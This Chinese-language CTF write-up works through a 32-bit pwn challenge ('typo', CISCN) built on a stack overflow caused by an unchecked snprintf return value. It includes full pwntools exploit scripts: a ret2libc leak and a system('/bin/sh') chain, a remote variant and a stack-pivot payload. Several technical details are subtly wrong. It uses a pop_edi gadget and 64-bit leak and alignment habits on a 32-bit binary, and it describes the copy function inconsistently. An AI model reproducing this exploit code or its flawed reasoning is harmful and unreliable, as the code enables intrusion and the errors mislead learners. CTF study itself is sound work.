CTF PWN题解析:snprintf栈溢出漏洞利用实战

CTF PWN题解析:snprintf栈溢出漏洞利用实战

1. 赛事背景与题目定位

CISCN(全国大学生信息安全竞赛)作为国内最高规格的CTF赛事之一,其PWN题型历来是检验二进制漏洞利用能力的试金石。第19届赛事中的typo题目以经典的栈溢出漏洞为载体,却通过精心设计的陷阱考验选手对格式化字符串函数snprintf的深入理解。这道被标记为"入门级"的题目,实际上暗藏了多个新手容易忽略的细节陷阱。

从BUU CTF平台的历史解题数据来看,同类题型如rip等基础PWN题的正确率不足40%,反映出即使是有一定基础的选手,在面对看似简单的栈溢出时仍会因细节处理不当而翻车。这道typo题目更是通过故意留出的"typo"(打字错误)作为突破口,要求选手具备逆向思维——不仅要发现漏洞,更要理解出题人设置的"错误"背后的真实意图。

2. 环境搭建与逆向分析

2.1 题目文件处理

首先从赛事平台获取题目压缩包,解压后得到以下关键文件:

  • typo:32位ELF可执行文件(可通过file typo确认)
  • typo.c:疑似源代码(实际可能不完整或有误导)
  • libc.so.6:配套的libc库文件

使用patchelf修正库路径:

patchelf --set-interpreter /path/to/ld-linux.so.2 --set-rpath /path/to/libs/ typo

2.2 基础逆向工程

通过IDA Pro加载typo文件,快速定位到main函数反编译结果。关键代码段显示如下特征:

char buf[0x100]; snprintf(buf, sizeof(buf), "Welcome %s", input);

表面看是简单的欢迎语拼接,但存在三个致命细节:

  1. sizeof(buf)在编译时被替换为0x100,但snprintf的返回值处理被忽略
  2. 后续存在未经验证的strcpy操作
  3. 程序编译时未开启PIE保护(可通过checksec验证)

关键发现:出题人故意在源码注释中留下"typo here"提示,实际指向snprintf长度参数的错误使用方式。这种"错误"恰恰是漏洞利用的关键。

3. 漏洞原理深度剖析

3.1 snprintf的魔鬼细节

格式化字符串函数snprintf的返回值特性是本题的核心考点:

int snprintf(char *str, size_t size, const char *format, ...);

其返回值是"假设缓冲区足够大时,会写入的字符总数",而非实际写入量。这意味着:

  • 当Welcome + input的总长度超过0x100时,返回值会大于0x100
  • 后续代码若直接使用该返回值作为拷贝长度,就会导致栈溢出

3.2 漏洞触发链条

完整的漏洞利用路径如下:

  1. 输入超长字符串使snprintf返回大于0x100的值
  2. 程序未校验返回值,直接用于memcpy操作
  3. 精心构造的输入覆盖返回地址
  4. 控制EIP跳转到预设的gadget地址

通过cyclic模式字符串确认溢出偏移量:

from pwn import * p = process('./typo') p.sendline(cyclic(300)) p.wait() # 用dmesg查看崩溃时eip的值

4. 利用方案设计与调试

4.1 栈布局重建

通过gdb-peda进行动态调试,关键步骤:

gdb-peda$ pattern create 300 gdb-peda$ r < input.txt gdb-peda$ x/wx $esp

确定返回地址的偏移量为140字节。但需要注意:

  • 不同libc版本中环境变量会影响栈地址
  • 需要根据实际运行时的栈地址调整payload

4.2 ROP链构造

由于题目提供了libc,可采用ret2libc方案:

  1. 泄露libc基地址(通过puts@got)
  2. 计算system和/bin/sh的真实地址
  3. 构造二次攻击链

典型payload结构:

payload = flat( b'A'*140, pop_edi_ret, puts_got, puts_plt, main_addr, )

4.3 对抗防护机制

题目开启了NX保护,但未开启ASLR(可通过cat /proc/sys/kernel/randomize_va_space确认)。需要特别注意:

  • 所有gadget地址需通过ropper --file typo重新验证
  • 在远程环境可能因libc差异导致偏移量变化
  • 使用LibcSearcher库处理不同版本的libc

5. 完整攻击脚本实现

5.1 本地测试版本

from pwn import * context(arch='i386', os='linux') p = process('./typo') puts_plt = 0x08048370 puts_got = 0x0804a018 main = 0x08048596 payload = flat( b'A'*140, puts_plt, main, puts_got ) p.sendlineafter('name:', payload) leak = u32(p.recv(4)) libc_base = leak - 0x5f140 # 根据实际libc版本调整 system = libc_base + 0x3a940 binsh = libc_base + 0x15902b payload2 = flat( b'A'*140, system, 0xdeadbeef, # 虚假返回地址 binsh ) p.sendline(payload2) p.interactive()

5.2 远程攻击适配

针对赛事服务器需要添加以下调整:

libc = ELF('./libc.so.6') # 使用题目提供的libc rop = ROP('./typo') def remote_exp(): p = remote('target.ip', port) # 通过泄露地址计算实际偏移 leak = u32(p.recvuntil('\x7f')[-4:]) libc.address = leak - libc.sym['puts'] rop.call(libc.sym['system'], [next(libc.search(b'/bin/sh'))]) payload = fit({140:rop.chain()}) p.sendline(payload)

6. 踩坑实录与补救方案

6.1 常见失败场景分析

  1. 栈对齐问题: 在调用system前需要保证栈指针16字节对齐。解决方案:

    rop.raw('AAAA') # 补充对齐 rop.call(system, [binsh])
  2. 输入过滤绕过: 题目可能对输入字符进行过滤。可通过以下方式检测:

    ltrace -i ./typo < input.txt

    若发现异常截断,需采用编码或分段写入技术

  3. 环境差异问题: 本地成功但远程失败时,务必检查:

    • libc版本差异(通过ldd typo确认)
    • 网络字节序处理
    • 服务器端的输入缓冲机制

6.2 高级技巧:栈迁移技术

当溢出空间不足时,可采用栈迁移技术:

leave_ret = 0x08048458 # 通过ROPgadget查找 fake_ebp = 0x0804a800 # 可写的bss段地址 payload = flat( b'A'*132, fake_ebp, leave_ret )

通过控制EBP实现栈帧转移,为后续ROP链创造空间

7. 防御方案与学习延伸

7.1 安全开发建议

从开发者角度预防此类漏洞:

  1. 始终检查snprintf返回值
  2. 使用strlcpy替代strcpy
  3. 编译时添加-fstack-protector-strong选项
  4. 静态分析工具扫描:
    gcc -Wall -Wextra -Wformat-security typo.c

7.2 进阶学习路径

  1. 格式化字符串漏洞扩展:

    • 研究printf系列函数的格式化字符串漏洞
    • 练习%n写入技术的利用
  2. 防护机制突破:

    • 学习绕过ASLR的地址泄露技术
    • 研究ROP链的自动化生成工具(如ROPgadget)
  3. 同类题目推荐:

    • BUU CTF的rip系列题目
    • Pwnable.kr的simple_login
    • HackTheBox的Stack缓冲区溢出靶机